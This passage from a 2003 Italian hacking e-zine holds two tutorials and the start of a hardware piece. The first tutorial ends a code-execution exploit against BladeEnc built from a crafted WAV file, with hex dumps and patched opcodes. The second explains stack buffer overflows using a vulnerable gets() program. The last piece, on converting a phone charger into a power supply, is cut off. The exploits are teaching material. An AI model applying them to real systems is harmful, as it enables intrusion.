| 0000060: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 0000070: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 0000080: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 0000090: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 00000a0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 00000b0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 00000c0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 00000d0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 00000e0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 00000f0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 0000100: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 0000110: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 0000120: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 0000130: 88e8 6900 c704 2400 3746 00a1 4012 4600 ..i...$.7F..@.F. |
| 0000140: 8944 2404 e84a 8200 00ff 1524 d041 000a .D$..J.....$.A.. |
| 0000150: 0a43 6961 6f20 6120 7475 7474 6920 736f .Ciao a tutti so |
| 0000160: 6e6f 2063 6f64 6963 6520 6469 6d6f 7374 no codice dimost |
| 0000170: 7261 7469 766f 2038 2d29 0a0a 00 rativo 8-)... |
| |
| |
| |
| ####################################################################### |
| |
| |
| ======================================== |
| Sesto passo (ricalcoliamo gli indirizzi) |
| ======================================== |
| |
| |
| Gli indirizzi da ricalcolare facendo riferimento alla posizione del |
| nostro codice in memoria sono: |
| |
| - l'indirizzo della nostra stringa |
| - l'indirizzo della funzione di visualizzazione |
| |
| Per calcolare l'indirizzo dell'istruzione successiva o di qualsiasi |
| indirizzo nel nostro file non dobbiamo far altro che eseguire: |
| |
| ESP + indirizzo_nel_file - ESP_nel_file |
| |
| Esempio: |
| |
| La nostra stringa si trova all'offset 0x0000014f, ESP e' 0x0069e888 e |
| l'ESP nel file si trova a 0x00000134 (in pratica da dove partono i |
| bytes che vanno in memoria). |
| |
| 0x0069e888 + 0x0000014f - 0x00000134 = 0x0069e8a3 |
| |
| Cio' significa che quando il nostro codice andra' a finire in memoria |
| la nostra stringa si trovera' esattamente all'indirizzo 0x0069e8a3 |
| |
| Invece l'indirizzo della funzione di visualizzazione e' gia' noto ed e' |
| 0x00414c3f |
| |
| Se volessimo disassemblare il codice nel nostro file wave, avremmo: |
| |
| 0x00000134: mov dword ptr [esp], indirizzo_stringa |
| 0x0000013b: mov eax, dowrd ptr [00461240] |
| 0x00000140: mov dword ptr [esp+04], eax |
| 0x00000144: call 00414c3f |
| 0x00000149: call dword ptr [0041d024] |
| |
| Ora sostituiamo il puntatore alla vecchia stringa nella prima funzione |
| con quello alla nostra stringa: |
| |
| La prima istruzione che prima era: c7042400374600 |
| ora diventera': c70424a3e86900 |
| |
| Invece la quarta istruzione richiede un indirizzo relativo, e non |
| assoluto, che si calcola cosi': |
| |
| ind_destinazione - ind_istruzione_successiva |
| |
| Per calcolare l'indirizzo in memoria dell'istruzione successiva ci |
| affidiamo all'operazione che abbiamo eseguito prima per trovare |
| l'indirizzo della stringa: |
| |
| 0x0069e888 + 0x00000149 + 0x00000134 = 0x0069e89d |
| (ESP_mem + istr_5 + ESP_file) |
| |
| Ed ecco il nostro indirizzo relativo: |
| |
| 0x00414c3f - 0x0069e89d = FFD763A2 |
| |
| Quindi la quarta istruzione che prima era: e84a820000 |
| ora diventera': e8a263d7ff |
| |
| |
| |
| ####################################################################### |
| |
| |
| ===================================== |
| Settimo passo (finalmente si mangia!) |
| ===================================== |
| |
| |
| Finalmente possiamo dire di avere TUTTO! |
| |
| Ecco il file wave completo: |
| |
| 0000000: 5249 4646 cc12 0000 5741 5645 666d 7420 RIFF....WAVEfmt |
| 0000010: ffff ffff 9090 9090 9090 9090 9090 9090 ................ |
| 0000020: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 0000030: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 0000040: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 0000050: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 0000060: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 0000070: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 0000080: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 0000090: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 00000a0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 00000b0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 00000c0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 00000d0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 00000e0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 00000f0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 0000100: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 0000110: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 0000120: 9090 9090 9090 9090 9090 9090 9090 9090 ................ |
| 0000130: 88e8 6900 c704 24a3 e869 00a1 4012 4600 ..i...$..i..@.F. |
| 0000140: 8944 2404 e8a2 63d7 ffff 1524 d041 000a .D$...c....$.A.. |
| 0000150: 0a43 6961 6f20 6120 7475 7474 6920 736f .Ciao a tutti so |
| 0000160: 6e6f 2063 6f64 6963 6520 6469 6d6f 7374 no codice dimost |
| 0000170: 7261 7469 766f 2038 2d29 0a0a 00 rativo 8-)... |
| |
| |
| Avviamo il programma e godiamoci l'output: |
| |
| --- |
| C:\install\blade>bladeenc file.wav |
| |
| BladeEnc 0.94.2 (c) Tord Jansson Homepage: |
| http://bladeenc.mp3.no |
| ======================================================================== |
| ======= |
| BladeEnc is free software, distributed under the Lesser General Public |
| License. |
| See the file COPYING, BladeEnc's homepage or www.fsf.org for more |
| details. |
| |
| |
| |
| Ciao a tutti sono codice dimostrativo 8-) |
| |
| |
| C:\install\blade> |
| --- |
| |
| Eh eh, ciao mio caro amico "codice dimostrativo" 8-) |
| |
| |
| |
| ####################################################################### |
| |
| |
| =========== |
| Conclusioni |
| =========== |
| |
| |
| Quello che abbiamo visto oggi e' uno dei modi piu' semplici per creare |
| un exploit dimostrativo che faccia eseguire codice ad un programma |
| vulnerabile. |
| |
| L'unica parte un po' piu' "noiosa" e "complicata" riguarda il calcolo |
| degli indirizzi in memoria e la conversione a volte da assoluti in |
| relativi, ma dopo le prime volte diventera' quasi una cosa |
| "spassosa". |
| |
| Spero siate arrivate a leggere fino a qui, ma piu' di tutto spero che |
| queste 600 righe di articolo/tutorial abbiano suscitato interesse in |
| qualcuno. |
| |
| Ricordatevi comunque che questo genere di vulnerabilita' e' molto |
| semplice per eseguire codice, e le cose cambiano drasticamente quando |
| si ha a che vedere con vulnerabilita' differenti come ad esempio buffer |
| oveflow di stringhe char in cui non si possono usare bytes NULL, o |
| peggio quando la porzione di codice che verra' caricata in memoria e' |
| troppo piccola ed in molti altri casi in cui o si cerca di prendere la |
| cosa come una "sfida" contro se stessi oppure si preferisce abbandonare |
| la realizzazione del proof-of-concept. |
| |
| |
| |
| Se avete domande, commenti o correzioni non esitate a scrivermi! |
| |
| |
| BYEZ |
| |
| |
+--------------------------------------------------------------------------+



+--------------------------------------------------------------------------+
| ONDAQUADRA ~ L'ANG0L0 DEGLi EXPL0iT #09 - 01/06/2003 |
| BUFFER 0VERFL0W: DALLA TE0RiA ALLA PRATiCA [Auriemma Luigi] 0x15/0x20 |
+--------------------------------------------------------------------------+
| |
| |
| |
| ####################################################################### |
| |
| Titolo: Buffer overflow: spiegazione tecnica ed esempio pratico |
| Autore: Auriemma Luigi |
| e-mail: aluigi@pivx.com |
| web: http://www.pivx.com/luigi/ |
| |
| ####################################################################### |
| |
| |
| ============ |
| Introduzione |
| ============ |
| |
| |
| Oramai il termine "buffer overflow" e' entrato nel vocabolario di |
| chiunque abbia una minima conoscenza di sicurezza informatica e |
| soprattutto della storia della sicurezza, visto che tale problema e' |
| diventato davvero quasi un simbolo. |
| |
| La spiegazione veloce a questo problema e che tutti conosciamo e' piu' |
| o meno la seguente: |
| |
| "Il buffer-oveflow si presenta quando una stringa in input e' piu' |
| grande del buffer ove dovra' essere immagazzinata e cio' comporta la |
| sovrascrittura di parti di memoria circostanti al buffer che sono |
| necessarie all'esecuzione del codice macchina"
|
| |
| In quest'articolo invece di limitarmi a riproporre la classica frase |
| appena vista, voglio spiegare meglio nel dettaglio cosa accade ad una |
| macchina (x86 nel nostro caso) quando si viene a verificare un BOF |
| (abbreviazione di buffer-overflow) e soprattutto le conseguenze che |
| questo problema trascina con se. |
| |
| Per l'esempio che mostrero' mi affidero' ad un sistema Win solo per |
| comodita', ma ricordate che non ci sono differenze tra i sistemi |
| operativi in quanto il buffer overflow interessa appunto la macchina. |
| Le uniche differenze che si possono incontrare riguardano la direzione |
| dello stack che puo' essere di tipo *BSD (come su Linux) oppure di |
| direzione contraria come accade su Win ed altri sistemi, ma cio' non ci |
| interessa molto per i BOF. |
| |
| |
| L'articolo non necessita di particolari conoscenze tecniche ma senza |
| dubbio aver avuto a che fare con l'Assembly aiuta molto in questi |
| casi. |
| Comunque nella sezione successiva daro' una breve spiegazione di cosa |
| incontreremo durante l'articolo. |
| |
| |
| |
| ####################################################################### |
| |
| |
| =================== |
| Cosa bisogna sapere |
| =================== |
| |
| |
| Ovviamente bisogna conoscere le basi dell'Assembly e soprattutto come |
| viene gestita ed e' composta la memoria nei processori x86. |
| |
| Per ovviare a qualche lacuna o qualche ruggine ecco una breve intro di |
| cio' con cui avremo a che fare: |
| |
| |
| ----- |
| STACK |
| ----- |
| |
| Lo stack e' una zona di memoria adibita al contenimento dei dati dei |
| programmi. |
| Esso viene spesso paragonato ad una pila, invece a me sembra di piu' un |
| semplice contenitore che contiene tanta roba ma noi possiamo inserire o |
| prelevare gli oggetti al suo interno soltanto uno per volta. |
| Ad aiutarci comunque nell'operazione di prelevamento ed inserimento |
| c'e' il puntatore allo stack il cui compito e' proprio quello di |
| eseguire operazioni ad un "livello" specifico. |
| |
| Lo stack puo' quindi essere visto cosi': |
| |
| STACK |
| |-----------| |
| | oggetto 0 | |
| | ... | |
| | oggetto 7 | |
| | oggetto 8 | |
| | oggetto 9 | |
| | ... | |
| |-----------| |
| |
| |
| Lo stack ha una sua direzione che varia a seconda del sistema |
| operativo, difatti Win e Linux utilizzano 2 direzioni opposte. |
| Comunque questa e' solo una nota e non ci interessa. |
| |
| |
| |
| --- |
| EBP |
| --- |
| |
| EBP e' un registro x86 ed e' il puntatore alla base dello stack, serve |
| per sapere da dove inizia lo stack che stiamo utilizzando (ad esempio |
| da dove iniziano i dati per la funzione corrente che stiamo eseguendo): |
| |
| STACK |
| |-----------| <-- qui e' dove punta EBP (ossia dove inizia lo stack) |
| | oggetto 0 | |
| | ... | |
| | oggetto 7 | |
| | oggetto 8 | |
| | oggetto 9 | |
| | ... | |
| |-----------| |
| |
| |
| |
| |
| --- |
| ESP |
| --- |
| |
| ESP invece e' un puntatore ad un indirizzo dello stack. |
| In pratica mentre EBP ci ricorda da dove inizia lo stack, ESP invece ci |
| permette di scorrerlo a nostro piacimento per prelevare od inserire |
| dati in un punto preciso della memoria: |
| |
| |
| STACK |
| |-----------| <-- qui e' dove punta EBP (ossia dove inizia lo stack) |
| | oggetto 0 | |
| | ... | |
| | oggetto 7 | |
| | oggetto 8 | <-- qui invece e' dove puo' puntare ESP ad esempio |
| | oggetto 9 | |
| | ... | |
| |-----------| |
| |
| |
| |
| --- |
| EIP |
| --- |
| |
| Forse il registro piu' famoso nella sicurezza informatica. Esso e' |
| semplicemente un puntatore all'istruzione successiva, ossia cio' che la |
| CPU dovra' eseguire subito dopo l'istruzione corrente. |
| E' proprio lui a permettere di eseguire codice tramite un programma |
| buggato (vi dicono niente CodeRed ed altri worm o tutti gli exploit |
| che permettono di diventare root su macchine remote o locali?). |
| |
| |
| |
| ---- |
| CALL |
| ---- |
| |
| CALL non e' un registro ma e' un'istruzione che svolge le seguenti |
| operazioni: |
| |
| - Salvare EIP in memoria |
| - Saltare alla funzione che vogliamo eseguire (modicando EIP) |
| |
| Questo e' in breve cio' che fa' CALL. |
| |
| |
| |
| --- |
| RET |
| --- |
| |
| Anche RET non e' un registro ma e' un'istruzione che si preoccupa solo |
| di riassegnare ad EBP ed EIP i valori precedentemente immagazzinati |
| nello stack. |
| E' proprio quando viene chiamato RET che EIP puo' essere comandato a |
| piacimento da chi ha creato il BOF. |
| |
| |
| |
| |
| ####################################################################### |
| |
| |
| =================== |
| Spiegazione tecnica |
| =================== |
| |
| |
| Prima di passare all'esempio pratico e' meglio iniziare a capire per |
| quale motivo ed in quale condizione avremo il verificarsi di un BOF. |
| Se avete qualche dubbio durante o dopo aver letto questa sezione |
| dell'articolo lanciatevi senza problemi all'esempio pratico nella |
| sezione successiva in quanto vi schiarira' molto le idee e, se anche |
| voi siete come me, preferirete senza dubbio un esempio che oltre a far |
| capire la teoria dimostri con i fatti cio' che si sta' dicendo. |
| Comunque ritornare in questa sezione e' senza dubbio utile se vi e' |
| sfuggito qualcosa. |
| |
| |
| Come detto nell'introduzione un BOF altro non e' che la sovrascrittura |
| incondizionata di un buffer con dei dati che essendo molti di piu' |
| del buffer stesso verranno quindi immagazzinati anche nelle zone di |
| memoria adiacenti ad esso. |
| |
| In questa zona di memoria (lo stack appunto) c'e' tutto cio' che |
| servira' alla funzione in esecuzione... una specie di banco di lavoro |
| con tutto l'occorrente pronto all'uso 8-) |
| |
| Perche' parlo di funzione? |
| |
| Semplice, il BOF si verifica proprio con le funzioni. |
| Ma continuiamo... |
| |
| |
| In pratica ogni volta che c'e' una chiamata ad una funzione (CALL), il |
| processore si occupera' di salvare in memoria il valore dell'EIP |
| corrente in modo da potersi riposizione in quella stessa posizione al |
| termine della funzione che si sta' chiamando. |
| Il programma invece appena viene raggiunto l'inizio della funzione |
| dovra' subito salvare il puntatore EBP che puntava all'inizio del |
| precedente stack e dopodiche' lasciare dello spazio proprio prima di |
| esso in modo che venga utilizzato dalle variabili. |
| |
| Da sottolineare che l'immagazzinamento di EIP e' tutto a carico del |
| processore in quanto il programma NON puo' modificare od operare su |
| tale registro direttamente. |
| |
| Questa semplice operazione che abbiamo appena visto permette infatti al |
| programma di poter ripescare il puntatore all'istruzione che abbiamo |
| lasciato prima di chiamare la funzione, non appena quest'ultima si |
| concludera' (in gergo, "ritornare"). |
| |
| In Assembly, quando una funzione inizia, la prima cosa che fara' quindi |
| e' questo: |
| |
| |
| push ebp |
| mov ebp, esp |
| sub esp, MEMORIA_PER_LE_VARIABILI |
| |
| |
| Semplice: immagazzina il vecchio EBP, dice ad EBP dove inizia il nuovo |
| stack e successivamente alloca lo spazio per le variabili che appunto |
| verranno posizionate prima di EBP ed EIP. |
| |
| Insomma un metodo semplice semplice che pero' puo' causare moltissimi |
| problemi per via dei BOF. |
| |
| Da come chiunque puo' aver intuito, i problemi con il BOF non si |
| vedranno subito dopo aver sovrascritto il buffer ed i 2 registri |
| salvati, ma si avranno dopo che la funzione tentera' di ritornare alla |
| vecchia posizione precedentemente salvata nello stack (dove si trovano |
| le istruzioni che dovevano essere eseguite dopo la chiamata alla |
| funzione). |
| Invece di ritrovarsi al vecchio indirizzo, il programma arrivera' alla |
| posizione indicata dal registro EIP che, tramite l'istruzione RET alla |
| fine della funzione, si ritrovera' al suo interno i bytes che erano |
| stati immessi precedentemente e che hanno causato la sovrascrittura |
| della memoria adiacente al buffer di destinazione. |
| |
| |
| Grosso modo questo e' uno stack "integro": |
| |
| [buffer1][EBP][EIP] |
| |
| E questo invece e' come si presenta appena avviene un BOF: |
| |
| [stringa][str][str][str....] |
| |
| dove str e' la stringa di dati immessa dall'utente o comunque da |
| considerarsi come "sorgente" (mentre il buffer viene considerato la |
| "destinazione"). |
| |
| Penso che sia chiaro ora che fine fanno i bytes in piu' quando si |
| verifica un BOF... |
| |
| |
| Beh la parte teorica puo' anche ritenersi conclusa, ora iniziamo |
| seriamente con un bell'esempio pratico. |
| |
| |
| |
| ####################################################################### |
| |
| |
| ========================== |
| Cosa ci serve per iniziare |
| ========================== |
| |
| |
| Prima di passare all'esempio pratico avremo bisogno di alcuni tool che |
| sono tutti disponibili come freeware od OpenSource. |
| |
| |
| Innanzitutto abbiamo bisogno di un compilatore C e se non ne abbiamo |
| uno, una buona scelta potrebbe proprio essere Lcc-win32 del francese |
| Jacob Navia. |
| |
| http://www.cs.virginia.edu/~lcc-win32/ |
| |
| |
| |
| Dopodiche' ci serve un disassembler. La mia scelta personale per |
| qualcosa di veloce ed OpenSource ricade su Disasm del coreano Sang Cho. |
| |
| http://www.geocities.com/SiliconValley/Foothills/4078/disasm.html |
| |
| |
| |
| Se vogliamo anche saperne di piu' riguardo al movimento dei registri o |
| cosa c'e' in memoria durante l'esecuzione di una parte di un programma, |
| un eccellente scelta puo' essere TD32, ossia il Turbo Debugger 5.5 di |
| Borland rilasciato free. |
| Vi risparmio tutte le rotture per poterlo prelevare dal sito della |
| Borland in quanto l'ho messo a disposizione sulla mia pagina personale: |
| |
| http://www.pivx.com/luigi/misc/td32-55.zip |
| |
| |
| |
| Se non avete mai usato un compilatore C ed avete optato per Lcc, il |
| seguente file .bat vi potra' essere d'aiuto: |
| |
| ---lcc.bat--- |
| @echo off |
| c:\lcc\bin\lcc.exe -A -e20 -O -p6 -unused %1.c |
| c:\lcc\bin\lcclnk.exe -s -subsystem:console %1.obj %2 %3 %4 %5 %6 %7 %8 |
| %9 |
| del %1.obj |
| ------------- |
| |
| Quindi per compilare l'esempio che mostrero' nella sezione successiva |
| non dovrete far altro che digitare: "lcc bof" e basta. |
| Tutto qui. |
| |
| |
| |
| ####################################################################### |
| |
| |
| =============== |
| Esempio pratico |
| =============== |
| |
| |
| Il seguente sorgente in linguaggio C e' un classico esempio di BOF: |
| |
| ---BOF.C--- |
| |
| #include <stdio.h> |
| |
| |
| void leggistringa(void); |
| |
| |
| int main(void) { |
| leggistringa(); |
| return(0); |
| } |
| |
| |
| void leggistringa(void) { |
| long num = 0; |
| char buff[8]; |
| |
| gets(buff); |
| } |
| |
| ----------- |
| |
| |
| Chi conosce il C sicuramente (o almeno spero) avra' iniziato a tremare |
| e sudare freddo alla visione della funzione gets() che puo' essere |
| considerata a tutti gli effetti come la funzione piu' pericolosa |
| esistente nella libreria standard del linguaggio C e difatti molti |
| compilatori visualizzano dei bei warning quando si cerca di |
| utilizzarla. |
| |
| Tale funzione difatti legge dallo standard input (tastiera) la stringa |
| che dopo verra' buttata nel buffer specificato con l'unica accortezza |
| di sostituire il carattere line-feed (l'invio a capo che abbiamo |
| digitato per terminare l'immissione dati) con un byte NULL. |
| |
| La particolarita' e la pericolosita' della funzione sta' nel fatto che |
| se ne sbatte altamente di controllare se la stringa che ha immesso |
| l'utente e' piu' grande del buffer ove verra' collocata. |
| Pensate ad un autotreno che non frena allo stop ma continua la sua |
| corsa e frenera' quando gli pare... questa e' la base dei BOF. |
| Insomma se cercate grane con i buffer overflow, gets() e' cio che fa' |
| per voi 8-) |
| |
| Ma veniamo a noi. |
| |
| Secondo i nostri calcoli nello stack dovranno essere tenuti in |
| considerazione esattamente 12 bytes in quanto abbiamo gli 8 bytes di |
| buff piu' i 4 bytes di num (un numero long in memoria infatti occupa |
| appunto 4 bytes e comunque la logica a 32bit degli attuali processori |
| divide tutto in 4 bytes alla volta). |
| |
| Da notare che spesso se si usano dei buffer o altre variabili non |
| inizializzate, la memoria necessaria verra' allocata solo quando |
| verranno effettivamente utilizzate. |
| |
| Una volta compilato tale codice avremo che la funzione leggistringa() |
| contiene il seguente codice macchina: |
| |
| |
| ------------chiamata a leggistringa()---------- |
| :00401250 E803000000 call 00401258 |
| :00401255 31C0 xor eax, eax |
| :00401257 C3 ret |
| -----------------leggistringa()---------------- |
| :00401258 55 push ebp |
| :00401259 89E5 mov ebp, esp |
| :0040125B 83EC0C sub esp, 00C |
| :0040125E 8D45F4 lea eax, dword[ebp-0C] |
| :00401261 50 push eax |
| :00401262 E829000000 call 00401290 |
| ;;call CRTDLL.gets |
| :00401267 59 pop ecx |
| :00401268 C9 leave |
| :00401269 C3 ret |
| ----------------------------------------------- |
| |
| |
| L'istruzione CALL all'indirizzo 00401250 fara' si che l'attuale EIP |
| (00401255 appunto) venga immagazzinato in memoria all'indirizzo |
| 0063fdd4, cosicche' esso potra' essere ripreso quando verra' invocata |
| l'istruzione RET al termine della funzione leggistringa(). |
| |
| La prima istruzione di leggistringa() salva EBP nello stack, mentre la |
| seconda copia su EBP il valore di ESP. |
| Ricordiamoci che EBP puntava all'inizio del vecchio stack prima che |
| entrassimo in leggistringa(). Esso serve appunto per riappropiarci del |
| nostro vecchio stack appena terminata la funzione. |
| Dopodiche' il programma alloca 12 bytes (00C) che verranno appunto |
| usati per contenere le 2 variabili buff di 8 e num di 4 bytes |
| rispettivamente. |
| |
| |
| Dopo aver avviato il nostro programma, bof.exe, inseriremo la stringa |
| "1234567" che occupera' alla perfezione il buffer di 8 bytes chiamato |
| buff in quanto 7 numeri occuperanno i primi 7 bytes e l'ottavo sara' |
| un NULL byte che serve a delimitare la stringa. |
| |
| Esattamente alla posizione 0063fdd4 del nostro stack (ossia il valore |
| di ESP) la situazione "normale" dovrebbe essere la seguente: |
| |
| 0063fdd4: 31 32 33 34 35 36 37 00 1234 567. |
| 0063fdda: 00 00 00 00 38 fe 63 00 .... [EBP] |
| 0063fde4: 55 12 40 00 [EIP] |
| |
| |
| Tutto cio' e' chiarissimo: |
| |
| 0063fdd4 ecco gli 8 bytes di buff appunto uguali a "1234567" + NULL |
| 0063fdda ecco i 4 bytes di num uguale a 0 |
| 0063fde0 ecco EBP che abbiamo salvato precedentemente |
| 0063fde4 ecco infine il puntatore EIP salvato nello stack che punta |
| esattamente al codice che c'e' dopo la chiamata alla nostra |
| funzione leggistringa() (quello all'indirizzo 00401255 |
| appunto) |
| |
| |
| Tutto chiaro? |
| In questi 20 bytes c'e' il nostro BOF quindi cerchiamo di comprenderli |
| alla perfezione. |
| |
| |
| Ora invece di inserire "1234567" inseriremo proprio 20 bytes, ossia: |
| |
| 8 per il buffer chiamato buff |
| 4 per il numero long chiamato num |
| 4 per il valore di EBP precedentemente salvato |
| 4 per il valore di EIP precedentemente salvato |
| |
| La stringa da me scelta e' "123456781234aaaabbbb": |
| |
| |
| 0063fdd4: 31 32 33 34 35 36 37 38 1234 5678 |
| 0063fdda: 31 32 33 34 61 61 61 61 1234 aaaa |
| 0063fde4: 62 62 62 62 bbbb |
| |
| |
| Wow! Indovinate un po' che fine hanno fatto EBP ed EIP??? |
| EBP e' ora 0x61616161, ossia "aaaa" ed EIP e' diventato 0x62626262 che |
| e' uguale a "bbbb". |
| |
| |
| Bene bene, e' proprio cio' che volevo farvi vedere. Ora sicuramente il |
| vostro sistema operativo vi avra' segnalato un errore critico in quanto |
| che l'indirizzo 62626262 non e' una zona di memoria del programma |
| bof.exe, quindi esso non e' autorizzato a leggere, scrivere o |
| posizionarsi in quel punto. |
| Ma la cosa importante e' che appunto la macchina ha provato a leggere |
| ad un indirizzo che e' stato inserito da un possibile utente estraneo, |
| il quale avrebbe potuto fare il bello ed il cattivo tempo sulla vostra |
| macchina. |
| |
| Forse ora qualche sysadmin capisce perche' le patch vanno applicate il |
| prima possibile e non dopo che un worm si e' divertito sulla sua |
| macchina. |
| |
| |
| Per chi e' maniaco dei dettagli riporto il valore che i registri |
| assumono durante l'esecuzione di leggistringa() presi direttamente col |
| debugger TD32: |
| |
| :00401250 EBP: 0063fe38, ESP: 0063fde4 CALL leggistringa() |
| --- |
| :00401258 ESP: 0063fde0 |
| :00401259 EBP = ESP (0063fde0) |
| :0040125B ESP: 0063fdd4 |
| :0040125E EAX: 0063fdd4 |
| :00401261 ESP: 0063fddd0 |
| :00401262 ECX: 7fc1b3d4, EDX: 81a16d7c gets() "123456781234aaaabbbb" |
| :00401267 ECX: 0063fdd4, ESP: 0063fdd4 |
| :00401268 EBP: 61616161, ESP: 0063fde4 leave |
| :00401269 ESP: 0063fde8, EIP: 62626262 ret |
| |
| |
| Se qualcuno di voi avesse

  
comunque ancora dei dubbi sul fatto che i BOF |
| si presentano quando si ritorna da una funzione, vi consiglio di |
| aggiungere al nostro programma di esempio alcune righe di codice dopo |
| la riga "gets(buff);" |
| |
| Difatti possiamo ad esempio aggiungere qualcosa tipo: |
| |
| ... |
| gets(bufF); |
| printf("Se mi vedi non puoi avere dubbi 8-)\n"); |
| } |
| |
| |
| Provate a compilare il programma con questa nuova riga di C e vedrete |
| che il crash avverra' proprio all'uscita da leggistringa() dopo che e' |
| stata visualizzata la stringa che abbiamo appena aggiunto. |
| Naturalmente un semplice printf() come quello che ho usato io non |
| richiede altre variabili o spazio aggiuntivo nello stack, mentre altre |
| operazioni piu' complesse lo possono modificare. |
| |
| |
| |
| ####################################################################### |
| |
| |
| =========================== |
| Effetti dei buffer overflow |
| =========================== |
| |
| |
| Oramai penso sia chiaro a tutti perche' i buffer overflow creano cosi' |
| tanti problemi... semplicemente perche' permettono di eseguire codice |
| sulla macchina che esegue il programma vulnerabile. |
| |
| Non e' compito di quest'articolo entrare nei dettagli e nei vari metodi |
| esistenti per creare un exploit per buffer overflow, comunque la logica |
| e' sempre quella di far puntare EIP ad un pezzo della stringa che e' |
| stata immessa dall'attacker. |
| |
| In pratica e' un po' come se invece di "123456781234aaaabbbb" un |
| attacker immetta del codice eseguibile prima o preferibilmente dopo il |
| valore che andra' a sovrascrivere EIP e settare quest'ultimo valore |
| all'indirizzo in cui verra' immagazzinata la sua stringa. |
| |
| Beh sembra piu' difficile a dirsi che a farsi 8-) |
| |
| |
| Ho scritto un articolo riguardo la scrittura di un semplice exploit |
| dimostrativo per un bug simile al BOF ma che consiste nella |
| sovrascrittura dell'indirizzo di ritorno dopo una lettura |
| incondizionata da un file, il che e' molto utile per semplificarci la |
| vita e non avere limiti con il nostro exploit: |
| |
| http://www.pivx.com/luigi/articles/expdem.txt |
| |
| |
| |
| ####################################################################### |
| |
| |
| =========== |
| Conclusione |
| =========== |
| |
| |
| Beh concludendo spero che ora il concetto di buffer overflow sia molto |
| piu' chiaro soprattutto grazie all'utilizzo di un esempio pratico molto |
| semplice. |
| |
| Ricordatevi sempre che certe cose sono piu' difficili da spiegare che |
| da capire e che dopo la prima volta che si inizia ad ingranare con |
| certi concetti tutto il resto non sara' piu' un problema. |
| |
| Prima di salutarci ricordatevi anche che la storia dell'informatica non |
| e' scritta su nessun libro ma ce l'avete sotto gli occhi, se state |
| leggendo quest'articolo sul monitor, in quanto nel vostro PC c'e tutto, |
| dall'Assembly, alle protezioni dei softwares, dalle vulnerabilita' a |
| qualsiasi altra cosa possiate mai leggere riguardo questo fantastico |
| mondo creato molti anni fa' partendo da una costosa ed ingombrante |
| calcolatrice. |
| |
| |
| Commenti, correzioni, dettagli od altro sono sempre graditi! |
| |
| |
| BYEZ |
| |
| |
| |
+--------------------------------------------------------------------------+



+--------------------------------------------------------------------------+
| ONDAQUADRA ~ MiSC #09 - 01/06/2003 |
| CHARGER HACKiNG [bondo] 0x16/0x20 |
+--------------------------------------------------------------------------+
| |
| |
| CHARGER HACKING |
| |
| ovvero |
| |
| come trasformare un caricabatterie (bruciato...) in un alimentatore |
| |
| |
| |
| chiunque abbia a che fare con l'elettronica come hobby si trova ad |
| aver bisogno di un alimentatore. |
| un piccolo (ma veramente piccolo) alimentatore si può ricavare da un |
| caricabatterie per cellulari nokia (possibilmente di qualcun'altro) |
| con qualche piccola modifica... |
| i caricabatterie per i nokia hanno una tensione di uscita di 3.7V - a |
| noi serve di 5V, quindi dobbiamo metterci le mani. |
| |
| DISCLAIMER: il contenuto di questo articolo è fornito senza alcuna |
| garanzia e soprattutto senza assicurazioni sulla vita... attenti a |
| lavorare con la 220... |
| |
| |
| |
| materiale occorrente: |
| --------------------- |
| - n°1 caricabatterie per cellulari nokia |
| - n°1 diodo 1N4001 |
| - n°1 condensatore elettrolitico 470uF (micro farad) |
| - n°1 integrato 7805 |
| - stagno |
| - saldatore |
| - tester |
| - cavi e cavetti |
| |
| |
| procedimento: |
| ------------- |
| la parte più impegnativa è smontare il caricabatterie... dovete sapere |
| che dalle ultime ricerche effettuate su marte, siamo entrati in |
| possesso di una tecnologia aliena che ci consente di fabbricare viti |
| con la testa non a croce e nemmeno piatta, ma bensì di questa forma |
| |
| / |
| / \ |
| ---- \ |
| |
| è una cosa eccezionale... |
| se riuscite a togliere queste tre maledette viti che chiudono il |
| contenitore di plastica del trasformatore, siete già a buon punto. |
| il mio consiglio è quello di trovare 3 viti che tali si possano |
| definire e sostituirle a quelle di fabbrica. |
| |
| una volta aperto, vi si presenterà davanti un cubetto metallico con |
| annesso un circuitino stampato, del tipo: |
| |
| |
| +---------------+ -DDD- diodi 1N4001 |
| | | -CC- condensatore |
| | | T trasformatore |
| | T | o o pin connessi al cavo |
| | | |
| +---| -DDD- -DDD- |---+ |
| | +---------------+ | | |
| | -DDD- D | |
| | o o / \ -CC- | | |
| +---------+ +---------+ |
| + - |
| |
| |
| |
| la prima operazione da compiere è dissaldare il condensatore perchè non |
| serve e anche perchè è bruciato. |
| sul retro dello stampato, dove ci sono le due piazzole vuote che erano |
| occupate dal condensatore appena tolto, dobbiamo creare un |
| cortocircuito tra queste due - possiamo farlo con un cavetto oppure |
| direttamente con lo stagno. |
| |
| adesso si tratta di dimensionare un nuovo condensatore, che però non |
| andrà allo stesso posto di quello appena dissaldato (attenzione). |
| considerato che il secondario del trasformatore eroga circa 10V, il |
| condensatore dovrebbe essere attorno a 1000uF, ma date le dimensioni |
